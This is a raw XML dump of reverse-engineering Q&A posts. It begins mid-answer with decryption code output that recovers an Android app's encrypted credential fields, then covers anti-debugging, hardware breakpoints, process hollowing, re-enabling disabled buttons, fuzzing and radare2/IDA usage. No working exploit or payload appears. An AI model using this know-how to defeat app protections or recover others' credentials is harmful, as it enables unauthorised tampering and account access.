String pt = new String(instance.doFinal(ct));&#xA;        System.out.println(pt);&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Sample output&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using the JSON snippet you provided&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;MobileUsersBE&quot;:{&#xA;      &quot;AppVersion&quot;:&quot;vB0gg8dKw8/ssTAXDUHLDw==\n&quot;,&#xA;      &quot;DeviceCode&quot;:&quot;NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFCjEu/IEjcEUYM4V6zswVc\n&quot;,&#xA;      &quot;DeviceType&quot;:&quot;android&quot;,&#xA;      &quot;GCMCellId&quot;:&quot;&quot;,&#xA;      &quot;Password&quot;:&quot;P4fM264BxQXhd3RQu5vk8w==\n&quot;,&#xA;      &quot;UserName&quot;:&quot;i2WZyhFJ9CZTx40Th83siw==\n&quot;&#xA;   },&#xA;   &quot;ServiceUsersBE&quot;:{&#xA;      &quot;AppVersion&quot;:&quot;ZA+PaD1HcAVZ384ENwEWBw==\n&quot;,&#xA;      &quot;DeviceCode&quot;:&quot;NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFOFoCbYVotoPrT8YV4yEHL\n&quot;,&#xA;      &quot;DeviceType&quot;:&quot;android&quot;,&#xA;      &quot;Password&quot;:&quot;t1h6/ATZ26VA8nS+fcnvkv0wtPbV8onO\n&quot;,&#xA;      &quot;TransactionCode&quot;:&quot;vfTVe1PFdoFSMOdyYSxAI33cLtBw3z3uUrzOGlZJafQYzgg+Te+n/sDv/nyll3T2&quot;,&#xA;      &quot;UserName&quot;:&quot;N67a2TEuY68jsRadkP0JGrh64aKxVin1\n&quot;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shown below are the ciphertexts and the corresponding plaintext to which it decrypts to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vB0gg8dKw8/ssTAXDUHLDw==&#xA;2.3|138771&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFCjEu/IEjcEUYM4V6zswVc&#xA;8f850645-36ec-350a-8bb3-09c004daeb14|36159&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;P4fM264BxQXhd3RQu5vk8w==&#xA;test1234|364081&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i2WZyhFJ9CZTx40Th83siw==&#xA;test|55664&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that each plain text has a random number appended at the end after the &lt;code&gt;|&lt;/code&gt; sign. This acts like a salt so that identical plain-texts do not encrypt to the same ciphertext.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2020-03-21T10:42:55.320" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23488" PostTypeId="2" ParentId="23465" CreationDate="2020-03-21T16:33:21.670" Score="1" Body="&lt;p&gt;You can use JIT framework such as intel PIN to inspect the program with greater granularity. Then you can find the exact mechanism responsible for this, including finding the real call history, used to detect the breakpoint and crash the program&lt;/p&gt;&#xA;" OwnerUserId="29222" LastActivityDate="2020-03-21T16:33:21.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23489" PostTypeId="2" ParentId="23481" CreationDate="2020-03-21T17:14:52.943" Score="4" Body="&lt;p&gt;The large integer that is added to ESP is negative and is used to move the stack pointer to a an address that allows 0x44 bytes on the stack for the current function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, ESP=EBP-0x44. So, EBP-0x44 is essentially, [ESP].&#xA;It is equivalent to &lt;code&gt;PUSH EAX&lt;/code&gt;, as a parameter for the &lt;code&gt;CALL&lt;/code&gt; that comes next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ss:&lt;/code&gt; is a selector which indicates that the &quot;base&quot; of the mentioned address is on the stack.&#xA;In a linear memory system it has no practical meaning.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-03-21T17:26:59.817" LastActivityDate="2020-03-21T17:26:59.817" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23491" PostTypeId="2" ParentId="23465" CreationDate="2020-03-21T20:57:04.597" Score="1" Body="&lt;p&gt;Edit: Since this is about when the breakpoint is hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kernel guarantees the debugger a chance to handle exceptions (e.g. breakpoint exceptions) before letting the debuggee handle them. Are you sure that the debugger is actually attached when the breakpoint is hit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An exception to what I stated above is that if ThreadHideFromDebugger is used, then the kernel will skip sending the exception to the debugger. That could be what's happening. It's a common technique used in anti-RE in games. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may see a crash log in Event Viewer with a breakpoint exception (0x80000003), but only if the debuggee doesn't have registered exception handlers that swallow the exception and then exit.&lt;/p&gt;&#xA;" OwnerUserId="24467" LastEditorUserId="24467" LastEditDate="2020-03-21T22:50:27.767" LastActivityDate="2020-03-21T22:50:27.767" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23492" PostTypeId="2" ParentId="23446" CreationDate="2020-03-21T21:47:20.083" Score="3" Body="&lt;p&gt;If this is C# (or any other .NET file) you need to use a tools such as .NET reflector to &quot;decompile&quot; it into .NET intermediate language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error you are seeing means that at the end of a function the stack pointer (typically the ESP register) does not point to the address expected by the function type, for example: it may have &lt;code&gt;PUSH&lt;/code&gt;ed something on the stack and did not &lt;code&gt;POP&lt;/code&gt; it by the end of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This warning does not stop analysis, but you should be aware of the situation when &lt;code&gt;JMP&lt;/code&gt;ing between addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general settings you can choose the &quot;show stack pointer&quot; options and see the state of the stack.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-03-21T21:47:20.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23493" PostTypeId="2" ParentId="23479" CreationDate="2020-03-21T21:50:24.090" Score="2" Body="&lt;p&gt;just modified your source a bit to print Rip prior and post in handler&lt;br&gt;&#xA;added another exception and eliminated a warning (empty handler block)&lt;br&gt;&#xA;and tested with +1,+2,+3 +4 +5 on the handler Hardware breaks doesn't get hit &#xA;I haven't checked by single stepping inside  RtlpExecuteHandlerForxxx calls    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a modified src   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;int handle_exception(ULONG ExceptionCode,EXCEPTION_POINTERS *exception_pointers)&#xA;{&#xA;    printf(&quot;%x\n&quot;,ExceptionCode);&#xA;    printf(&quot;%I64x\n&quot;,exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip);&#xA;    exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip += 4; &#xA;    printf(&quot;%I64x\n&quot;,exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip);&#xA;    return EXCEPTION_CONTINUE_EXECUTION;&#xA;}&#xA;int main(void)&#xA;{&#xA;    __try&#xA;    {&#xA;        int number = 0;&#xA;        number = 1 / number; // generate EXCEPTION_INT_DIVIDE_BY_ZERO&#xA;        __debugbreak();&#xA;    }&#xA;    __except (handle_exception(GetExceptionCode(),GetExceptionInformation()))&#xA;    {&#xA;        __nop();&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results for Rip =Rip+ {1,2,3,4} _CONTEXT-&gt;Rip Changed and properly Executed    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but hw Bp doesn't get hit  so its time to single step inside ntdll/nt/xxxx&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -i += hwbp.cpp&#xA;    exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip += 1;&#xA;&#xA;:\&amp;gt;cl /Zi /W4 /Od /analyze /nologo /EHsc hwbp.cpp /link /release&#xA;hwbp.cpp&#xA;&#xA;:\&amp;gt;hwbp.exe&#xA;c0000094&#xA;7ff7adf910a2&#xA;7ff7adf910a3&#xA;c0000005&#xA;7ff7adf910a5&#xA;7ff7adf910a6&#xA;80000003&#xA;7ff7adf910aa&#xA;7ff7adf910ab&#xA;&#xA;:\&amp;gt;grep -i += hwbp.cpp&#xA;    exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip += 2;&#xA;&#xA;:\&amp;gt;cl /Zi /W4 /Od /analyze /nologo /EHsc hwbp.cpp /link /release&#xA;hwbp.cpp&#xA;&#xA;:\&amp;gt;hwbp.exe&#xA;c0000094&#xA;7ff6696d10a2&#xA;7ff6696d10a4&#xA;80000003&#xA;7ff6696d10aa&#xA;7ff6696d10ac&#xA;c0000005&#xA;7ff6696d10ac&#xA;7ff6696d10ae&#xA;&#xA;:\&amp;gt;grep -i += hwbp.cpp&#xA;    exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip += 3;&#xA;&#xA;:\&amp;gt;cl /Zi /W4 /Od /analyze /nologo /EHsc hwbp.cpp /link /release&#xA;hwbp.cpp&#xA;&#xA;:\&amp;gt;hwbp.exe&#xA;c0000094&#xA;7ff788c510a2&#xA;7ff788c510a5&#xA;c0000005&#xA;7ff788c510a5&#xA;7ff788c510a8&#xA;80000003&#xA;7ff788c510aa&#xA;7ff788c510ad&#xA;&#xA;:\&amp;gt;grep -i += hwbp.cpp&#xA;    exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip += 4;&#xA;&#xA;:\&amp;gt;cl /Zi /W4 /Od /analyze /nologo /EHsc hwbp.cpp /link /release&#xA;hwbp.cpp&#xA;&#xA;:\&amp;gt;hwbp.exe&#xA;c0000094&#xA;7ff6f2be10a2&#xA;7ff6f2be10a6&#xA;80000003&#xA;7ff6f2be10aa&#xA;7ff6f2be10ae&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-03-21T21:50:24.090" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23494" PostTypeId="2" ParentId="23412" CreationDate="2020-03-21T22:18:52.143" Score="1" Body="&lt;p&gt;The button is greyed out, or &quot;disabled&quot;. This is most likely done by one of two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creating the button as initially disabled, by passing the &lt;code&gt;WS_DISABLED&lt;/code&gt; flag as &lt;code&gt;dwStyle&lt;/code&gt; parameter to &lt;code&gt;CreateWindow&lt;/code&gt;/&lt;code&gt;CreateWindowEx&lt;/code&gt; API.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can set a breakpoint on this function and reset the dwStyle param. Zero will do.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Disabling the button by calling the &lt;code&gt;EnableWindow&lt;/code&gt; API with &lt;code&gt;bEnable = FALSE&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can set a breakpoint on this function and set &lt;code&gt;bEnable&lt;/code&gt; to TRUE (non-zero)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make the button enabled so you can click on it. It does not guarantee that it will be functional.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-03-21T22:18:52.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23495" PostTypeId="2" ParentId="23399" CreationDate="2020-03-22T09:49:39.050" Score="2" Body="&lt;p&gt;Many programs, especially malware, start a suspended child process (&lt;code&gt;CreateProcess&lt;/code&gt; variants), overwrite its code with their own (&lt;code&gt;WriteProcessMemory&lt;/code&gt; with or without &lt;code&gt;VirtualAllocEx&lt;/code&gt;) and resume the main thread (&lt;code&gt;ResumeThread&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also look for &lt;code&gt;ReadProcessMemory&lt;/code&gt;, it is possible that the call to &lt;code&gt;OpenProcess&lt;/code&gt; that you see is actually the same process reading from its own pages and the &lt;code&gt;WriteProcessMemory&lt;/code&gt; is writing to the newly created process, with its different handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these functions also have low-level variants (&lt;code&gt;ZwCreateThread&lt;/code&gt; etc.)&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-03-22T09:49:39.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23496" PostTypeId="1" CreationDate="2020-03-22T19:15:55.100" Score="2" ViewCount="187" Body="&lt;p&gt;really glad I found this great learning resource.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering, is there any way to fuzz or automate heap vulnerability assesment? I know a lot of practical frameworks for stack based fuzzing in its many variations, but when I read papers or cves, they note that they tried to find bugs by hand, making a program crash or avoid blue screen of death and debug it using windbg. But it is seems problematic to test for each function/vulnerability by hand, and it doesn't seem practical to go to the depth of each layer by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any smarter approach or known methods to scan/fuzz to heap vulnerabilites? if it matters, i prefer windows based frameworks, but linux on its many varieties is okay too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for helping me and potentially a lot of other people as well who are interested on learning or expanding their vulnerability assessment skills.&lt;/p&gt;&#xA;" OwnerUserId="31489" LastActivityDate="2020-05-22T15:04:50.567" Title="Modern methods of fuzzing/locating heap bugs and potential vulnerabilites" Tags="|windows|linux|injection|fuzzing|heap|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23497" PostTypeId="1" CreationDate="2020-03-22T19:53:58.060" Score="0" ViewCount="466" Body="&lt;p&gt;This is the way I like to RE with radare visual mode. But I have to configure it everytime I start r2. How can I make it so r2 starts with this visual everytime I enter visual mode?&lt;a href=&quot;https://i.stack.imgur.com/ILz0Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ILz0Z.png&quot; alt=&quot;My r2 during RE&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29303" LastActivityDate="2020-03-22T22:02:59.987" Title="Start radare2 with pre-set visual mode configuration" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23498" PostTypeId="2" ParentId="23497" CreationDate="2020-03-22T21:27:55.503" Score="2" Body="&lt;p&gt;You'll want to use &lt;code&gt;~/.radare2rc&lt;/code&gt; to make configs / cmds automatically run everytime radare2 is launched. You'll have to set a flag inside of that so it loads up the visual configuration you have everytime it's ran.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/xn0px90/radare2rc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example .radare2rc&lt;/a&gt; Here is a fine example I found on GitHub. You use the flag &lt;code&gt;eco theme_name&lt;/code&gt; to set a default theme on launch.&lt;/p&gt;&#xA;" OwnerUserId="30451" LastEditorUserId="30451" LastEditDate="2020-03-22T22:02:59.987" LastActivityDate="2020-03-22T22:02:59.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23499" PostTypeId="1" AcceptedAnswerId="24617" CreationDate="2020-03-22T23:13:15.020" Score="1" ViewCount="335" Body="&lt;p&gt;I have an IoT system that has a command-line-based interactive shell that can be used to configure the system. While examining the disassembly/decompilation, I realized that there is a lot of functionality/code to the CLI and a lot of possible logical paths in the program. As such, I have not outright identified any memory corruption vulnerabilities, but I suspect that there may be edge cases that could result in a bug. This is where I would normally apply fuzzing to bolster my coverage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am having trouble identifying an approach to creating a suitable input corpus to fuzz with. The CLI supports a number of commands, and some of them even spawn their own interactive CLI with many levels of namespaces. It may take several commands to reach certain parts of the program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two thoughts on how to go about this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a comprehensive corpus, including a large number of commands and possible paths. Will be tedious to construct; impossible to cover everything.&lt;/li&gt;&#xA;&lt;li&gt;No input corpus; use entirely feedback-driven fuzzing (if even possible in this case). Seems like this would be very inefficient, as there would be many paths for the fuzzer to learn.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am able to run the binary through the fuzzer and I believe the fuzzer is passing input to it correctly, so that's not an issue. I was planning on using honggfuzz for this, but I don't think that really matters for the question. I don't have source code, so this will be black box and un-instrumented fuzzing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how should I approach creating an input corpus to fuzz a black-box program that has many possible inputs?&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-04-04T22:21:38.963" Title="Approach for fuzzing interactive CLI" Tags="|fuzzing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23500" PostTypeId="1" AcceptedAnswerId="23507" CreationDate="2020-03-23T06:08:44.427" Score="1" ViewCount="46" Body="&lt;pre&gt;&lt;code&gt;PS C:\_&amp;gt; r2 -v&#xA;radare2 4.3.1 6 @ windows-x86-64 git.4.3.1&#xA;commit: 54ac837b5503f10f91e2069ac357791f7a3e635a build: Fri 03/06/2020__15:52:24.93&#xA;PS C:\_&amp;gt; r2 --&#xA; -- 99 bugs, take one down pass it around. 100 bugs...&#xA;[0x00000000]&amp;gt; f myflag&#xA;[0x00000000]&amp;gt; f*&#xA;fs *&#xA;f myflag 1 0x00000000&#xA;[0x00000000]&amp;gt; f?myflag ;expect an output here&#xA;[0x00000000]&amp;gt; f?~exists&#xA;| f?flagname               check if flag exists or not, See ?? and ?!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The command &lt;code&gt;f?myflag&lt;/code&gt; doesn't print any output as if the flag doesn't exist. Why does it happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bonus question :), what does &lt;code&gt;See ?? and ?!&lt;/code&gt; mean?&lt;/p&gt;&#xA;" OwnerUserId="31494" LastActivityDate="2020-03-23T21:13:33.847" Title="Command &quot;f?flagname&quot; doesn't work as expected in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23502" PostTypeId="2" ParentId="23496" CreationDate="2020-03-23T09:09:10.607" Score="1" Body="&lt;p&gt;Great tool to achieve this in  &lt;code&gt;Windows&lt;/code&gt; is &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/application-verifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Application Verifier&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general idea is that you run your program with different heap inspections, using the verifier. For example - each allocation made on a separate memory page, Freed memory is not just returned to the pool but marked as freed, and any later access to it will cause an excpetion and so on. This cost in significant memory costs, and some performance loss.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After enabling that, it's possible to use any fuzzing method, such as &lt;code&gt;AFL&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://valgrind.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Valgrind&lt;/a&gt; is a good equivalent for Linux.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-03-23T09:09:10.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23503" PostTypeId="1" CreationDate="2020-03-23T10:59:50.603" Score="0" ViewCount="51" Body="&lt;p&gt;I want to analyze some open-source &lt;code&gt;C&lt;/code&gt; code, and I'm looking for a static analysis python library for &lt;code&gt;C&lt;/code&gt;, preferably open-source. Any ideas/suggestions, based on your experience?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-03-23T10:59:50.603" Title="Python based static c analysis tools" Tags="|c|static-analysis|python|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23507" PostTypeId="2" ParentId="23500" CreationDate="2020-03-23T21:13:33.847" Score="1" Body="&lt;p&gt;It just doesn't print anything on the the screen but set's internal value. You can be verifie that by looking at the source code &lt;a href=&quot;https://github.com/radareorg/radare2/blob/75f6f28bb0226b4bd2af9f8f20b2d82202903343/libr/core/cmd_flag.c#L1548&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does tell you to do is to run &lt;code&gt;??&lt;/code&gt; which is actually printing that value as can be seen in the help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| ??                               show value of operation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally based on the result you can run the operation or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| ?! [cmd]                         run cmd if $? == 0&#xA;| ?? [cmd]                         run cmd if $? != 0&#xA;&#xA;[0x00000000]&amp;gt; f?non-existent-flag&#xA;[0x00000000]&amp;gt; ?? ?E exists //&amp;lt;- action is not executed&#xA;[0x00000000]&amp;gt; f?myflag&#xA;[0x00000000]&amp;gt; ?? ?E exists&#xA; ╭──╮    ╭────────╮&#xA; │ _│    │        │&#xA; │ O O  &amp;lt;  exists │&#xA; │  │╭   │        │&#xA; ││ ││   ╰────────╯&#xA; │└─┘│&#xA; ╰───╯&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-03-23T21:13:33.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23509" PostTypeId="1" CreationDate="2020-03-24T02:22:53.407" Score="1" ViewCount="593" Body="&lt;p&gt;When writing an IDA script, how to use IDC or IDAPython to get the file offset for a memory address?&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2020-03-24T06:35:51.033" Title="How to get the current offset use IDC or IDAPython?" Tags="|ida|idapython|idc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23512" PostTypeId="2" ParentId="23509" CreationDate="2020-03-24T06:35:51.033" Score="2" Body="&lt;pre&gt;&lt;code&gt;offset = idaapi.get_fileregion_offset(ea)&#xA;ea = idaapi.get_fileregion_ea(offset)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ref:&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2835/how-to-extract-the-input-file-offset-of-a-byte-in-idapython&quot;&gt;How to extract the input file offset of a byte in idapython?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2020-03-24T06:35:51.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23513" PostTypeId="1" CreationDate="2020-03-24T10:56:04.667" Score="1" ViewCount="1117" Body="&lt;p&gt;What is the easy and fast way to find all syscall in statically Arm binary ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any Ida plugin that do that?&lt;/p&gt;&#xA;" OwnerUserId="30610" LastActivityDate="2020-12-19T15:03:00.263" Title="Find all syscall in statically Arm Binary" Tags="|linux|arm|static-analysis|ida-plugin|syscall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23514" PostTypeId="2" ParentId="21664" CreationDate="2020-03-24T11:37:30.510" Score="1" Body="&lt;p&gt;I can confirm that the rebasing is much faster with IDA 7.4, and it seems to be addressed in &lt;a href=&quot;https://www.hex-rays.com/products/ida/7_3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;version 7.3&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Another debugger related news is fast rebasing. Due to widespread use of ASLR, processes get loaded into a new address every time and IDA needs to adjust the database: move all segments to the addresses that the operating system assigned to them. This was a slow process that could take literally hours for big databases.&lt;/p&gt;&#xA;&lt;p&gt;In IDA 7.3 we implemented another approach for rebasing which is up to 40 times faster and usually takes only a matter of seconds. You no longer have an excuse to take a coffee break every time you start a new debugging session. This makes our debuggers even more pleasant to use &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, I can't answer the follow-up question.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-03-24T11:37:30.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23515" PostTypeId="2" ParentId="23513" CreationDate="2020-03-24T12:11:57.447" Score="1" Body="&lt;p&gt;In &lt;code&gt;ARM&lt;/code&gt; the syscalls are either &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0179b/ar01s02s07.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Supervisor call&lt;/a&gt; or &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABFCEEG.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Software interrupt&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just search-&gt;text in IDA for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SVC             0x&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SWI             0x&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-03-24T12:11:57.447" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23516" PostTypeId="2" ParentId="21236" CreationDate="2020-03-24T12:58:05.897" Score="8" Body="&lt;p&gt;As of 2020.11.13 the 9.2 release is available which includes this feature.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;For registers you can do it:&#xA;&#xA;Right click in the Decompiler → Commit Locals.&#xA;Right click on the variable → Split out as New Variable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as per &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/975#issuecomment-593425470&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/975#issuecomment-593425470&lt;/a&gt; in the issue that Jeff Muizelaar mentioned.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1510#issuecomment-582052718&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/1510#issuecomment-582052718&lt;/a&gt; this only really works well for registers currently, but should also work for Stack variables.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastEditorUserId="31435" LastEditDate="2020-11-13T21:22:43.173" LastActivityDate="2020-11-13T21:22:43.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23517" PostTypeId="1" CreationDate="2020-03-24T14:08:07.660" Score="1" ViewCount="540" Body="&lt;p&gt;I have some experience with IDA and now I'm trying to use Radare2/Cutter the same way. I disassemble a DOS MZ file. I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;-- section.seg_000:&#xA;12: entry0 ();&#xA;0000:0000      push    ds          ; [00] -rwx section size 10784 named &#xA;seg_000&#xA;0000:0001      xor     ax, ax&#xA;;-- di:&#xA;0000:0003      push    ax&#xA;0000:0004      mov     ah, 0x30    ; '0'&#xA;0000:0006      int     0x21&#xA;0000:0008      mov     byte cs:[0x11], al&#xA;665: fcn.0000000c ();&#xA;0000:000c      cmp     al, 2&#xA;0000:000e      jae     0x12&#xA;0000:0010      retf&#xA;0000:0011      .byte 0x00          ; RELOC 16 &#xA;0000:0012      mov     ax, 0x2a2   ; RELOC 16 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to label address &lt;code&gt;0x11&lt;/code&gt; as &lt;code&gt;DOSVersion&lt;/code&gt; and reference it by this name instead of the offset. In IDA (Turbo Assembler syntax), I can make it look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proc    Main far&#xA;    push    ds&#xA;    xor     ax, ax&#xA;    push    ax&#xA;    mov     ah, DOS_FN_VERSION&#xA;    int     DOS_INT&#xA;    mov     [cs:DOSVersion], al&#xA;    cmp     al, DOS_VERSION_2_0&#xA;    jnb     short ProperDosVer&#xA;    retf&#xA;DOSVersion      db 0&#xA;ProperDosVer:&#xA;    mov     ax, DSEG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I achieve the same result with Radare2/Cutter?&lt;/p&gt;&#xA;" OwnerUserId="13157" LastEditorUserId="18014" LastEditDate="2020-03-24T19:52:13.347" LastActivityDate="2021-04-19T14:48:07.517" Title="Reference address by name in Radare2/Cutter" Tags="|ida|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
